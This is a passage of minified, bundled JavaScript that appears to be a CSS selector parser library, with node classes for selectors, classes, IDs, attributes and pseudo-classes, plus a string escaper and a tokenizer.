Wn=Object.setPrototypeOf||function(i,n){return i.__proto__=n,i},Wn(r,e)}var xb=function(r){vb(e,r);function e(i){var n;return n=r.call(this,i)||this,n.type=yb.ROOT,n}var t=e.prototype;return t.toString=function(){var n=this.reduce(function(s,a){return s.push(String(a)),s},[]).join(",");return this.trailingComma?n+",":n},t.error=function(n,s){return this._error?this._error(n,s):new Error(n)},bb(e,[{key:"errorGenerator",set:function(n){this._error=n}}]),e}(gb.default);nr.default=xb;gu.exports=nr.default});var Yn=v((sr,yu)=>{l();"use strict";sr.__esModule=!0;sr.default=void 0;var kb=Cb(gi()),Sb=te();function Cb(r){return r&&r.__esModule?r:{default:r}}function _b(r,e){r.prototype=Object.create(e.prototype),r.prototype.constructor=r,Hn(r,e)}function Hn(r,e){return Hn=Object.setPrototypeOf||function(i,n){return i.__proto__=n,i},Hn(r,e)}var Ab=function(r){_b(e,r);function e(t){var i;return i=r.call(this,t)||this,i.type=Sb.SELECTOR,i}return e}(kb.default);sr.default=Ab;yu.exports=sr.default});var yi=v((HO,wu)=>{l();"use strict";var Ob={},Eb=Ob.hasOwnProperty,Tb=function(e,t){if(!e)return t;var i={};for(var n in t)i[n]=Eb.call(e,n)?e[n]:t[n];return i},Pb=/[ -,\.\/:-@\[-\^`\{-~]/,Db=/[ -,\.\/:-@\[\]\^`\{-~]/,qb=/(^|\\+)?(\\[A-F0-9]{1,6})\x20(?![a-fA-F0-9\x20])/g,Qn=function r(e,t){t=Tb(t,r.options),t.quotes!="single"&&t.quotes!="double"&&(t.quotes="single");for(var i=t.quotes=="double"?'"':"'",n=t.isIdentifier,s=e.charAt(0),a="",o=0,u=e.length;o<u;){var c=e.charAt(o++),f=c.charCodeAt(),p=void 0;if(f<32||f>126){if(f>=55296&&f<=56319&&o<u){var h=e.charCodeAt(o++);(h&64512)==56320?f=((f&1023)<<10)+(h&1023)+65536:o--}p="\\"+f.toString(16).toUpperCase()+" "}else t.escapeEverything?Pb.test(c)?p="\\"+c:p="\\"+f.toString(16).toUpperCase()+" ":/[\t\n\f\r\x0B]/.test(c)?p="\\"+f.toString(16).toUpperCase()+" ":c=="\\"||!n&&(c=='"'&&i==c||c=="'"&&i==c)||n&&Db.test(c)?p="\\"+c:p=c;a+=p}return n&&(/^-[-\d]/.test(a)?a="\\-"+a.slice(1):/\d/.test(s)&&(a="\\3"+s+" "+a.slice(1))),a=a.replace(qb,function(d,y,k){return y&&y.length%2?d:(y||"")+k}),!n&&t.wrap?i+a+i:a};Qn.options={escapeEverything:!1,isIdentifier:!1,quotes:"single",wrap:!1};Qn.version="3.0.0";wu.exports=Qn});var Xn=v((ar,xu)=>{l();"use strict";ar.__esModule=!0;ar.default=void 0;var Ib=bu(yi()),Rb=tr(),Mb=bu(Le()),Fb=te();function bu(r){return r&&r.__esModule?r:{default:r}}function vu(r,e){for(var t=0;t<e.length;t++){var i=e[t];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(r,i.key,i)}}function Nb(r,e,t){return e&&vu(r.prototype,e),t&&vu(r,t),r}function Lb(r,e){r.prototype=Object.create(e.prototype),r.prototype.constructor=r,Jn(r,e)}function Jn(r,e){return Jn=Object.setPrototypeOf||function(i,n){return i.__proto__=n,i},Jn(r,e)}var Bb=function(r){Lb(e,r);function e(i){var n;return n=r.call(this,i)||this,n.type=Fb.CLASS,n._constructed=!0,n}var t=e.prototype;return t.valueToString=function(){return"."+r.prototype.valueToString.call(this)},Nb(e,[{key:"value",get:function(){return this._value},set:function(n){if(this._constructed){var s=(0,Ib.default)(n,{isIdentifier:!0});s!==n?((0,Rb.ensureObject)(this,"raws"),this.raws.value=s):this.raws&&delete this.raws.value}this._value=n}}]),e}(Mb.default);ar.default=Bb;xu.exports=ar.default});var Zn=v((or,ku)=>{l();"use strict";or.__esModule=!0;or.default=void 0;var $b=jb(Le()),zb=te();function jb(r){return r&&r.__esModule?r:{default:r}}function Vb(r,e){r.prototype=Object.create(e.prototype),r.prototype.constructor=r,Kn(r,e)}function Kn(r,e){return Kn=Object.setPrototypeOf||function(i,n){return i.__proto__=n,i},Kn(r,e)}var Ub=function(r){Vb(e,r);function e(t){var i;return i=r.call(this,t)||this,i.type=zb.COMMENT,i}return e}($b.default);or.default=Ub;ku.exports=or.default});var ts=v((lr,Su)=>{l();"use strict";lr.__esModule=!0;lr.default=void 0;var Wb=Hb(Le()),Gb=te();function Hb(r){return r&&r.__esModule?r:{default:r}}function Yb(r,e){r.prototype=Object.create(e.prototype),r.prototype.constructor=r,es(r,e)}function es(r,e){return es=Object.setPrototypeOf||function(i,n){return i.__proto__=n,i},es(r,e)}var Qb=function(r){Yb(e,r);function e(i){var n;return n=r.call(this,i)||this,n.type=Gb.ID,n}var t=e.prototype;return t.valueToString=function(){return"#"+r.prototype.valueToString.call(this)},e}(Wb.default);lr.default=Qb;Su.exports=lr.default});var wi=v((ur,Au)=>{l();"use strict";ur.__esModule=!0;ur.default=void 0;var Jb=Cu(yi()),Xb=tr(),Kb=Cu(Le());function Cu(r){return r&&r.__esModule?r:{default:r}}function _u(r,e){for(var t=0;t<e.length;t++){var i=e[t];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(r,i.key,i)}}function Zb(r,e,t){return e&&_u(r.prototype,e),t&&_u(r,t),r}function e0(r,e){r.prototype=Object.create(e.prototype),r.prototype.constructor=r,rs(r,e)}function rs(r,e){return rs=Object.setPrototypeOf||function(i,n){return i.__proto__=n,i},rs(r,e)}var t0=function(r){e0(e,r);function e(){return r.apply(this,arguments)||this}var t=e.prototype;return t.qualifiedName=function(n){return this.namespace?this.namespaceString+"|"+n:n},t.valueToString=function(){return this.qualifiedName(r.prototype.valueToString.call(this))},Zb(e,[{key:"namespace",get:function(){return this._namespace},set:function(n){if(n===!0||n==="*"||n==="&"){this._namespace=n,this.raws&&delete this.raws.namespace;return}var s=(0,Jb.default)(n,{isIdentifier:!0});this._namespace=n,s!==n?((0,Xb.ensureObject)(this,"raws"),this.raws.namespace=s):this.raws&&delete this.raws.namespace}},{key:"ns",get:function(){return this._namespace},set:function(n){this.namespace=n}},{key:"namespaceString",get:function(){if(this.namespace){var n=this.stringifyProperty("namespace");return n===!0?"":n}else return""}}]),e}(Kb.default);ur.default=t0;Au.exports=ur.default});var ns=v((fr,Ou)=>{l();"use strict";fr.__esModule=!0;fr.default=void 0;var r0=n0(wi()),i0=te();function n0(r){return r&&r.__esModule?r:{default:r}}function s0(r,e){r.prototype=Object.create(e.prototype),r.prototype.constructor=r,is(r,e)}function is(r,e){return is=Object.setPrototypeOf||function(i,n){return i.__proto__=n,i},is(r,e)}var a0=function(r){s0(e,r);function e(t){var i;return i=r.call(this,t)||this,i.type=i0.TAG,i}return e}(r0.default);fr.default=a0;Ou.exports=fr.default});var as=v((cr,Eu)=>{l();"use strict";cr.__esModule=!0;cr.default=void 0;var o0=u0(Le()),l0=te();function u0(r){return r&&r.__esModule?r:{default:r}}function f0(r,e){r.prototype=Object.create(e.prototype),r.prototype.constructor=r,ss(r,e)}function ss(r,e){return ss=Object.setPrototypeOf||function(i,n){return i.__proto__=n,i},ss(r,e)}var c0=function(r){f0(e,r);function e(t){var i;return i=r.call(this,t)||this,i.type=l0.STRING,i}return e}(o0.default);cr.default=c0;Eu.exports=cr.default});var ls=v((pr,Tu)=>{l();"use strict";pr.__esModule=!0;pr.default=void 0;var p0=h0(gi()),d0=te();function h0(r){return r&&r.__esModule?r:{default:r}}function m0(r,e){r.prototype=Object.create(e.prototype),r.prototype.constructor=r,os(r,e)}function os(r,e){return os=Object.setPrototypeOf||function(i,n){return i.__proto__=n,i},os(r,e)}var g0=function(r){m0(e,r);function e(i){var n;return n=r.call(this,i)||this,n.type=d0.PSEUDO,n}var t=e.prototype;return t.toString=function(){var n=this.length?"("+this.map(String).join(",")+")":"";return[this.rawSpaceBefore,this.stringifyProperty("value"),n,this.rawSpaceAfter].join("")},e}(p0.default);pr.default=g0;Tu.exports=pr.default});var Pu={};Ce(Pu,{deprecate:()=>y0});function y0(r){return r}var Du=A(()=>{l()});var Iu=v((YO,qu)=>{l();qu.exports=(Du(),Pu).deprecate});var hs=v(mr=>{l();"use strict";mr.__esModule=!0;mr.unescapeValue=ps;mr.default=void 0;var dr=fs(yi()),w0=fs(ci()),b0=fs(wi()),v0=te(),us;function fs(r){return r&&r.__esModule?r:{default:r}}function Ru(r,e){for(var t=0;t<e.length;t++){var i=e[t];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(r,i.key,i)}}function x0(r,e,t){return e&&Ru(r.prototype,e),t&&Ru(r,t),r}function k0(r,e){r.prototype=Object.create(e.prototype),r.prototype.constructor=r,cs(r,e)}function cs(r,e){return cs=Object.setPrototypeOf||function(i,n){return i.__proto__=n,i},cs(r,e)}var hr=Iu(),S0=/^('|")([^]*)\1$/,C0=hr(function(){},"Assigning an attribute a value containing characters that might need to be escaped is deprecated. Call attribute.setValue() instead."),_0=hr(function(){},"Assigning attr.quoted is deprecated and has no effect. Assign to attr.quoteMark instead."),A0=hr(function(){},"Constructing an Attribute selector with a value without specifying quoteMark is deprecated. Note: The value should be unescaped now.");function ps(r){var e=!1,t=null,i=r,n=i.match(S0);return n&&(t=n[1],i=n[2]),i=(0,w0.default)(i),i!==r&&(e=!0),{deprecatedUsage:e,unescaped:i,quoteMark:t}}function O0(r){if(r.quoteMark!==void 0||r.value===void 0)return r;A0();var e=ps(r.value),t=e.quoteMark,i=e.unescaped;return r.raws||(r.raws={}),r.raws.value===void 0&&(r.raws.value=r.value),r.value=i,r.quoteMark=t,r}var bi=function(r){k0(e,r);function e(i){var n;return i===void 0&&(i={}),n=r.call(this,O0(i))||this,n.type=v0.ATTRIBUTE,n.raws=n.raws||{},Object.defineProperty(n.raws,"unquoted",{get:hr(function(){return n.value},"attr.raws.unquoted is deprecated. Call attr.value instead."),set:hr(function(){return n.value},"Setting attr.raws.unquoted is deprecated and has no effect. attr.value is unescaped by default now.")}),n._constructed=!0,n}var t=e.prototype;return t.getQuotedValue=function(n){n===void 0&&(n={});var s=this._determineQuoteMark(n),a=ds[s],o=(0,dr.default)(this._value,a);return o},t._determineQuoteMark=function(n){return n.smart?this.smartQuoteMark(n):this.preferredQuoteMark(n)},t.setValue=function(n,s){s===void 0&&(s={}),this._value=n,this._quoteMark=this._determineQuoteMark(s),this._syncRawValue()},t.smartQuoteMark=function(n){var s=this.value,a=s.replace(/[^']/g,"").length,o=s.replace(/[^"]/g,"").length;if(a+o===0){var u=(0,dr.default)(s,{isIdentifier:!0});if(u===s)return e.NO_QUOTE;var c=this.preferredQuoteMark(n);if(c===e.NO_QUOTE){var f=this.quoteMark||n.quoteMark||e.DOUBLE_QUOTE,p=ds[f],h=(0,dr.default)(s,p);if(h.length<u.length)return f}return c}else return o===a?this.preferredQuoteMark(n):o<a?e.DOUBLE_QUOTE:e.SINGLE_QUOTE},t.preferredQuoteMark=function(n){var s=n.preferCurrentQuoteMark?this.quoteMark:n.quoteMark;return s===void 0&&(s=n.preferCurrentQuoteMark?n.quoteMark:this.quoteMark),s===void 0&&(s=e.DOUBLE_QUOTE),s},t._syncRawValue=function(){var n=(0,dr.default)(this._value,ds[this.quoteMark]);n===this._value?this.raws&&delete this.raws.value:this.raws.value=n},t._handleEscapes=function(n,s){if(this._constructed){var a=(0,dr.default)(s,{isIdentifier:!0});a!==s?this.raws[n]=a:delete this.raws[n]}},t._spacesFor=function(n){var s={before:"",after:""},a=this.spaces[n]||{},o=this.raws.spaces&&this.raws.spaces[n]||{};return Object.assign(s,a,o)},t._stringFor=function(n,s,a){s===void 0&&(s=n),a===void 0&&(a=Mu);var o=this._spacesFor(s);return a(this.stringifyProperty(n),o)},t.offsetOf=function(n){var s=1,a=this._spacesFor("attribute");if(s+=a.before.length,n==="namespace"||n==="ns")return this.namespace?s:-1;if(n==="attributeNS"||(s+=this.namespaceString.length,this.namespace&&(s+=1),n==="attribute"))return s;s+=this.stringifyProperty("attribute").length,s+=a.after.length;var o=this._spacesFor("operator");s+=o.before.length;var u=this.stringifyProperty("operator");if(n==="operator")return u?s:-1;s+=u.length,s+=o.after.length;var c=this._spacesFor("value");s+=c.before.length;var f=this.stringifyProperty("value");if(n==="value")return f?s:-1;s+=f.length,s+=c.after.length;var p=this._spacesFor("insensitive");return s+=p.before.length,n==="insensitive"&&this.insensitive?s:-1},t.toString=function(){var n=this,s=[this.rawSpaceBefore,"["];return s.push(this._stringFor("qualifiedAttribute","attribute")),this.operator&&(this.value||this.value==="")&&(s.push(this._stringFor("operator")),s.push(this._stringFor("value")),s.push(this._stringFor("insensitiveFlag","insensitive",function(a,o){return a.length>0&&!n.quoted&&o.before.length===0&&!(n.spaces.value&&n.spaces.value.after)&&(o.before=" "),Mu(a,o)}))),s.push("]"),s.push(this.rawSpaceAfter),s.join("")},x0(e,[{key:"quoted",get:function(){var n=this.quoteMark;return n==="'"||n==='"'},set:function(n){_0()}},{key:"quoteMark",get:function(){return this._quoteMark},set:function(n){if(!this._constructed){this._quoteMark=n;return}this._quoteMark!==n&&(this._quoteMark=n,this._syncRawValue())}},{key:"qualifiedAttribute",get:function(){return this.qualifiedName(this.raws.attribute||this.attribute)}},{key:"insensitiveFlag",get:function(){return this.insensitive?"i":""}},{key:"value",get:function(){return this._value},set:function(n){if(this._constructed){var s=ps(n),a=s.deprecatedUsage,o=s.unescaped,u=s.quoteMark;if(a&&C0(),o===this._value&&u===this._quoteMark)return;this._value=o,this._quoteMark=u,this._syncRawValue()}else this._value=n}},{key:"attribute",get:function(){return this._attribute},set:function(n){this._handleEscapes("attribute",n),this._attribute=n}}]),e}(b0.default);mr.default=bi;bi.NO_QUOTE=null;bi.SINGLE_QUOTE="'";bi.DOUBLE_QUOTE='"';var ds=(us={"'":{quotes:"single",wrap:!0},'"':{quotes:"double",wrap:!0}},us[null]={isIdentifier:!0},us);function Mu(r,e){return""+e.before+r+e.after}});var gs=v((gr,Fu)=>{l();"use strict";gr.__esModule=!0;gr.default=void 0;var E0=P0(wi()),T0=te();function P0(r){return r&&r.__esModule?r:{default:r}}function D0(r,e){r.prototype=Object.create(e.prototype),r.prototype.constructor=r,ms(r,e)}function ms(r,e){return ms=Object.setPrototypeOf||function(i,n){return i.__proto__=n,i},ms(r,e)}var q0=function(r){D0(e,r);function e(t){var i;return i=r.call(this,t)||this,i.type=T0.UNIVERSAL,i.value="*",i}return e}(E0.default);gr.default=q0;Fu.exports=gr.default});var ws=v((yr,Nu)=>{l();"use strict";yr.__esModule=!0;yr.default=void 0;var I0=M0(Le()),R0=te();function M0(r){return r&&r.__esModule?r:{default:r}}function F0(r,e){r.prototype=Object.create(e.prototype),r.prototype.constructor=r,ys(r,e)}function ys(r,e){return ys=Object.setPrototypeOf||function(i,n){return i.__proto__=n,i},ys(r,e)}var N0=function(r){F0(e,r);function e(t){var i;return i=r.call(this,t)||this,i.type=R0.COMBINATOR,i}return e}(I0.default);yr.default=N0;Nu.exports=yr.default});var vs=v((wr,Lu)=>{l();"use strict";wr.__esModule=!0;wr.default=void 0;var L0=$0(Le()),B0=te();function $0(r){return r&&r.__esModule?r:{default:r}}function z0(r,e){r.prototype=Object.create(e.prototype),r.prototype.constructor=r,bs(r,e)}function bs(r,e){return bs=Object.setPrototypeOf||function(i,n){return i.__proto__=n,i},bs(r,e)}var j0=function(r){z0(e,r);function e(t){var i;return i=r.call(this,t)||this,i.type=B0.NESTING,i.value="&",i}return e}(L0.default);wr.default=j0;Lu.exports=wr.default});var $u=v((vi,Bu)=>{l();"use strict";vi.__esModule=!0;vi.default=V0;function V0(r){return r.sort(function(e,t){return e-t})}Bu.exports=vi.default});var xs=v(P=>{l();"use strict";P.__esModule=!0;P.combinator=P.word=P.comment=P.str=P.tab=P.newline=P.feed=P.cr=P.backslash=P.bang=P.slash=P.doubleQuote=P.singleQuote=P.space=P.greaterThan=P.pipe=P.equals=P.plus=P.caret=P.tilde=P.dollar=P.closeSquare=P.openSquare=P.closeParenthesis=P.openParenthesis=P.semicolon=P.colon=P.comma=P.at=P.asterisk=P.ampersand=void 0;var U0=38;P.ampersand=U0;var W0=42;P.asterisk=W0;var G0=64;P.at=G0;var H0=44;P.comma=H0;var Y0=58;P.colon=Y0;var Q0=59;P.semicolon=Q0;var J0=40;P.openParenthesis=J0;var X0=41;P.closeParenthesis=X0;var K0=91;P.openSquare=K0;var Z0=93;P.closeSquare=Z0;var ev=36;P.dollar=ev;var tv=126;P.tilde=tv;var rv=94;P.caret=rv;var iv=43;P.plus=iv;var nv=61;P.equals=nv;var sv=124;P.pipe=sv;var av=62;P.greaterThan=av;var ov=32;P.space=ov;var zu=39;P.singleQuote=zu;var lv=34;P.doubleQuote=lv;var uv=47;P.slash=uv;var fv=33;P.bang=fv;var cv=92;P.backslash=cv;var pv=13;P.cr=pv;var dv=12;P.feed=dv;var hv=10;P.newline=hv;var mv=9;P.tab=mv;var gv=zu;P.str=gv;var yv=-1;P.comment=yv;var wv=-2;P.word=wv;var bv=-3;P.combinator=bv});var Uu=v(br=>{l();"use strict";br.__esModule=!0;br.default=Av;br.FIELDS=void 0;var O=vv(xs()),bt,V;function ju(){if(typeof WeakMap!="function")return null;var r=new WeakMap;return ju=function(){return r},r}function vv(r){if(r&&r.__esModule)return r;if(r===null||typeof r!="object"&&typeof r!="function")return{default:r};var e=ju();if(e&&e.has(r))return e.get(r);var t={},i=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var n in r)if(Object.prototype.hasOwnProperty.call(r,n)){var s=i?Object.getOwnPropertyDescriptor(r,n):null;s&&(s.get||s.set)?Object.defineProperty(t,n,s):t[n]=r[n]}return t.default=r,e&&e.set(r,t),t}var xv=(bt={},bt[O.tab]=!0,bt[O.newline]=!0,bt[O.cr]=!0,bt[O.feed]=!0,bt),kv=(V={},V[O.space]=!0,V[O.tab]=!0,V[O.newline]=!0,V[O.cr]=!0,V[O.feed]=!0,V[O.ampersand]=!0,V[O.asterisk]=!0,V[O.bang]=!0,V[O.comma]=!0,V[O.colon]=!0,V[O.semicolon]=!0,V[O.openParenthesis]=!0,V[O.closeParenthesis]=!0,V[O.openSquare]=!0,V[O.closeSquare]=!0,V[O.singleQuote]=!0,V[O.doubleQuote]=!0,V[O.plus]=!0,V[O.pipe]=!0,V[O.tilde]=!0,V[O.greaterThan]=!0,V[O.equals]=!0,V[O.dollar]=!0,V[O.caret]=!0,V[O.slash]=!0,V),ks={},Vu="0123456789abcdefABCDEF";for(xi=0;xi<Vu.length;xi++)ks[Vu.charCodeAt(xi)]=!0;var xi;function Sv(r,e){var t=e,i;do{if(i=r.charCodeAt(t),kv[i])return t-1;i===O.backslash?t=Cv(r,t)+1:t++}while(t<r.length);return t-1}function Cv(r,e){var t=e,i=r.charCodeAt(t+1);if(!xv[i])if(ks[i]){var n=0;do t++,n++,i=r.charCodeAt(t+1);while(ks[i]&&n<6);n<6&&i===O.space&&t++}else t++;return t}var _v={TYPE:0,START_LINE:1,START_COL:2,END_LINE:3,END_COL:4,START_POS:5,END_POS:6};br.FIELDS=_v;function Av(r){var e=[],t=r.css.valueOf(),i=t,n=i.length,s=-1,a=1,o=0,u=0,c,f,p,h,d,y,k,w,b,x,S,_,D;function M(B,q){if(r.safe)t+=q,b=t.length-1;else throw r.error("Unclosed "+B,a,o-s,o)}for(;o<n;){switch(c=t.charCodeAt(o),c===O.newline&&(s=o,a+=1),c){case O.space:case O.tab:case O.newline:case O.cr:case O.feed:b=o;do b+=1,c=t.charCodeAt(b),c===O.newline&&(s=b,a+=1);while(c===O.space||c===O.newline||c===O.tab||c===O.cr||c===O.feed);D=O.space,h=a,p=b-s-1,u=b;break;case O.plus:case O.greaterThan:case O.tilde:case O.pipe:b=o;do b+=1,c=t.charCodeAt(b);while(c===O.plus||c===O.greaterThan||c===O.tilde||c===O.pipe);D=O.combinator,h=a,p=o-s,u=b;break;case O.asterisk:case O.ampersand:case O.bang:case O.comma:case O.equals:case O.dollar:case O.caret:case O.openSquare:case O.closeSquare:case O.colon:case O.semicolon:case O.openParenthesis:case O.closeParenthesis:b=o,D=c,h=a,p=o-s,u=b+1;break;case O.singleQuote:case O.doubleQuote:_=c===O.singleQuote?"'":'"',b=o;do for(d=!1,b=t.indexOf(_,b+1),b===-1&&M("quote",_),y=b;t.charCodeAt(y-1)===O.backslash;)y-=1,d=!d;while(d);D=O.str,h=a,p=o-s,u=b+1;break;default:c===O.slash&&t.charCodeAt(o+1)===O.asterisk?(b=t.indexOf("*/",o+2)+1,b===0&&M("comment","*/"),f=t.slice(o,b+1),w=f.split(` `),k=w.length-1,k>0?(x=a+k,S=b-w[k].length):(x=a,S=s),D=O.comment,a=x,h=x,p=b-S):c===O.slash?(b=o,D=c,h=a,p=o-s,u=b+1):(b=Sv(t,o),D=O.word,h=a,p=b-s),u=b+1;break}e.push([D,a,o-s,h,p,o,u]),S&&(s=S,S=null),o=u}return e}});var Ku=v((vr,Xu)=>{l();"use strict";vr.__esModule=!0;vr.default=void 0;var Ov=ge(Gn()),Ss=ge(Yn()),Ev=ge(Xn()),Wu=ge(Zn()),Tv=ge(ts()),Pv=ge(ns()),Cs=ge(as()),Dv=ge(ls()),Gu=ki(hs()),qv=ge(gs()),_s=ge(ws()),Iv=ge(vs()),Rv=ge($u()),C=ki(Uu()),E=ki(xs()),Mv=ki(te()),Y=tr(),ft,As;function Hu(){if(typeof WeakMap!="function")return null;var r=new WeakMap;return Hu=function(){return r},r}function ki(r){if(r&&r.__esModule)return r;if(r===null||typeof r!="object"&&typeof r!="function")return{default:r};var e=Hu();if(e&&e.has(r))return e.get(r);var t={},i=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var n in r)if(Object.prototype.hasOwnProperty.call(r,n)){var s=i?Object.getOwnPropertyDescriptor(r,n):null;s&&(s.get||s.set)?Object.defineProperty(t,n,s):t[n]=r[n]}return t.default=r,e&&e.set(r,t),t}function ge(r){return r&&r.__esModule?r:{default:r}}function Yu(r,e){for(var t=0;t<e.length;t++){var i=e[t];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(r,i.key,i)}}function Fv(r,e,t){return e&&Yu(r.prototype,e),t&&Yu(r,t),r}var Os=(ft={},ft[E.space]=!0,ft[E.cr]=!0,ft[E.feed]=!0,ft[E.newline]=!0,ft[E.tab]=!0,ft),Nv=Object.assign({},Os,(As={},As[E.comment]=!0,As));function Qu(r){return{line:r[C.FIELDS.START_LINE],column:r[C.FIELDS.START_COL]}}function Ju(r){return{line:r[C.FIELDS.END_LINE],column:r[C.FIELDS.END_COL]}}function ct(r,e,t,i){return{start:{line:r,column:e},end:{line:t,column:i}}}function vt(r){return ct(r[C.FIELDS.START_LINE],r[C.FIELDS.START_COL],r[C.FIELDS.END_LINE],r[C.FIELDS.END_COL])}function Es(r,e){if(!!r)return ct(r[C.FIELDS.START_LINE],r[C.FIELDS.START_COL],e[C.FIELDS.END_LINE],e[C.FIELDS.END_COL])}function xt(r,e){var t=r[e];if(typeof t=="string")return t.indexOf("\\")!==-1&&((0,Y.ensureObject)(r,"raws"),r[e]=(0,Y.unesc)(t),r.raws[e]===void 0&&(r.raws[e]=t)),r}function Ts(r,e){for(var t=-1,i=[];(t=r.indexOf(e,t+1))!==-1;)i.push(t);return i}function Lv(){var r=Array.prototype.concat.apply([],arguments);return r.filter(function(e,t){return t===r.indexOf(e)})}var Bv=function(){function r(t,i){i===void 0&&(i={}),this.rule=t,this.options=Object.assign({lossy:!1,safe:!1},i),this.position=0,this.css=typeof this.rule=="string"?this.rule:this.rule.selector,this.tokens=(0,C.default)({css:this.css,error:this._errorGenerator(),safe:this.options.safe});var n=Es(this.tokens[0],this.tokens[this.tokens.length-1]);this.root=new Ov.default({source:n}),this.root.errorGenerator=this._errorGenerator();var s=new Ss.default({source:{start:{line:1,column:1}}});this.root.append(s),this.current=s,this.loop()}var e=r.prototype;return e._errorGenerator=function(){var i=this;return function(n,s){return typeof i.rule=="string"?new Error(n):i.rule.error(n,s)}},e.attribute=function(){var i=[],n=this.currToken;for(this.position++;this.position<this.tokens.length&&this.currToken[C.FIELDS.TYPE]!==E.closeSquare;)i.push(this.currToken),this.position++;if(this.currToken[C.FIELDS.TYPE]!==E.closeSquare)return this.expected("closing square bracket",this.currToken[C.FIELDS.START_POS]);var s=i.length,a={source:ct(n[1],n[2],this.currToken[3],this.currToken[4]),sourceIndex:n[C.FIELDS.START_POS]};if(s===1&&!~[E.word].indexOf(i[0][C.FIELDS.TYPE]))return this.expected("attribute",i[0][C.FIELDS.START_POS]);for(var o=0,u="",c="",f=null,p=!1;o<s;){var h=i[o],d=this.content(h),y=i[o+1];switch(h[C.FIELDS.TYPE]){case E.space:if(p=!0,this.options.lossy)break;if(f){(0,Y.ensureObject)(a,"spaces",f);var k=a.spaces[f].after||"";a.spaces[f].after=k+d;var w=(0,Y.getProp)(a,"raws","spaces",f,"after")||null;w&&(a.raws.spaces[f].after=w+d)}else u=u+d,c=c+d;break;case E.asterisk:if(y[C.FIELDS.TYPE]===E.equals)a.operator=d,f="operator";else if((!a.namespace||f==="namespace"&&!p)&&y){u&&((0,Y.ensureObject)(a,"spaces","attribute"),a.spaces.attribute.before=u,u=""),c&&((0,Y.ensureObject)(a,"raws","spaces","attribute"),a.raws.spaces.attribute.before=u,c=""),a.namespace=(a.namespace||"")+d;var b=(0,Y.getProp)(a,"raws","namespace")||null;b&&(a.raws.namespace+=d),f="namespace"}p=!1;break;case E.dollar:if(f==="value"){var x=(0,Y.getProp)(a,"raws","value");a.value+="$",x&&(a.raws.value=x+"$");break}case E.caret:y[C.FIELDS.TYPE]===E.equals&&(a.operator=d,f="operator"),p=!1;break;case E.combinator:if(d==="~"&&y[C.FIELDS.TYPE]===E.equals&&(a.operator=d,f="operator"),d!=="|"){p=!1;break}y[C.FIELDS.TYPE]===E.equals?(a.operator=d,f="operator"):!a.namespace&&!a.attribute&&(a.namespace=!0),p=!1;break;case E.word:if(y&&this.content(y)==="|"&&i[o+2]&&i[o+2][C.FIELDS.TYPE]!==E.equals&&!a.operator&&!a.namespace)a.namespace=d,f="namespace";else if(!a.attribute||f==="attribute"&&!p){u&&((0,Y.ensureObject)(a,"spaces","attribute"),a.spaces.attribute.before=u,u=""),c&&((0,Y.ensureObject)(a,"raws","spaces","attribute"),a.raws.spaces.attribute.before=c,c=""),a.attribute=(a.attribute||"")+d;var S=(0,Y.getProp)(a,"raws","attribute")||null;S&&(a.raws.attribute+=d),f="attribute"}else if(!a.value&&a.value!==""||f==="value"&&!p){var _=(0,Y.unesc)(d),D=(0,Y.getProp)(a,"raws","value")||"",M=a.value||"";a.value=M+_,a.quoteMark=null,(_!==d||D)&&((0,Y.ensureObject)(a,"raws"),a.raws.value=(D||M)+d),f="value"}else{var B=d==="i"||d==="I";(a.value||a.value==="")&&(a.quoteMark||p)?(a.insensitive=B,(!B||d==="I")&&((0,Y.ensureObject)(a,"raws"),a.raws.insensitiveFlag=d),f="insensitive",u&&((0,Y.ensureObject)(a,"spaces","insensitive"),a.spaces.insensitive.before=u,u=""),c&&((0,Y.ensureObject)(a,"raws","spaces","insensitive"),a.raws.spaces.insensitive.before=c,c="")):(a.value||a.value==="")&&(f="value",a.value+=d,a.raws.value&&(a.raws.value+=d))}p=!1;break;case E.str:if(!a.attribute||!a.operator)return this.error("Expected an attribute followed by an operator preceding the string.",{index:h[C.FIELDS.START_POS]});var q=(0,Gu.unescapeValue)(d),F=q.unescaped,X=q.quoteMark;a.value=F,a.quoteMark=X,f="value",(0,Y.ensureObject)(a,"raws"),a.raws.value=d,p=!1;break;case E.equals:if(!a.attribute)return this.expected("attribute",h[C.FIELDS.START_POS],d);if(a.value)return this.error('Unexpected "=" found; an operator was already defined.',{index:h[C.FIELDS.START_POS]});a.operator=a.operator?a.operator+d:d,f="operator",p=!1;break;case E.comment:if(f)if(p||y&&y[C.FIELDS.TYPE]===E.space||f==="insensitive"){var ce=(0,Y.getProp)(a,"spaces",f,"after")||"",se=(0,Y.getProp)(a,"raws","spaces",f,"after")||ce;(0,Y.ensureObject)(a,"raws","spaces",f),a.raws.spaces[f].after=se+d}else{var re=a[f]||"",pe=(0,Y.getProp)(a,"raws",f)||re;(0,Y.ensureObject)(a,"raws"),a.raws[f]=pe+d}else c=c+d;break;default:return this.error('Unexpected "'+d+'" found.',{index:h[C.FIELDS.START_POS]})}o++}xt(a,"attribute"),xt(a,"namespace"),this.newNode(new Gu.default(a)),this.position++},e.parseWhitespaceEquivalentTokens=function(i){i<0&&(i=this.tokens.length);var n=this.position,s=[],a="",o=void 0;do if(Os[this.currToken[C.FIELDS.TYPE]])this.options.lossy||(a+=this.content());else if(this.currToken[C.FIELDS.TYPE]===E.comment){var u={};a&&(u.before=a,a=""),o=new Wu.default({value:this.content(),source:vt(this.currToken),sourceIndex:this.currToken[C.FIELDS.START_POS],spaces:u}),s.push(o)}while(++this.position<i);if(a){if(o)o.spaces.after=a;else if(!this.options.lossy){var c=this.tokens[n],f=this.tokens[this.position-1];s.push(new Cs.default({value:"",source:ct(c[C.FIELDS.START_LINE],c[C.FIELDS.START_COL],f[C.FIELDS.END_LINE],f[C.FIELDS.END_COL]),sourceIndex:c[C.FIELDS.START_POS],spaces:{before:a,after:""}}))}}return s},e.convertWhitespaceNodesToSpace=function(i,n){var s=this;n===void 0&&(n=!1);var a="",o="";i.forEach(function(c){var 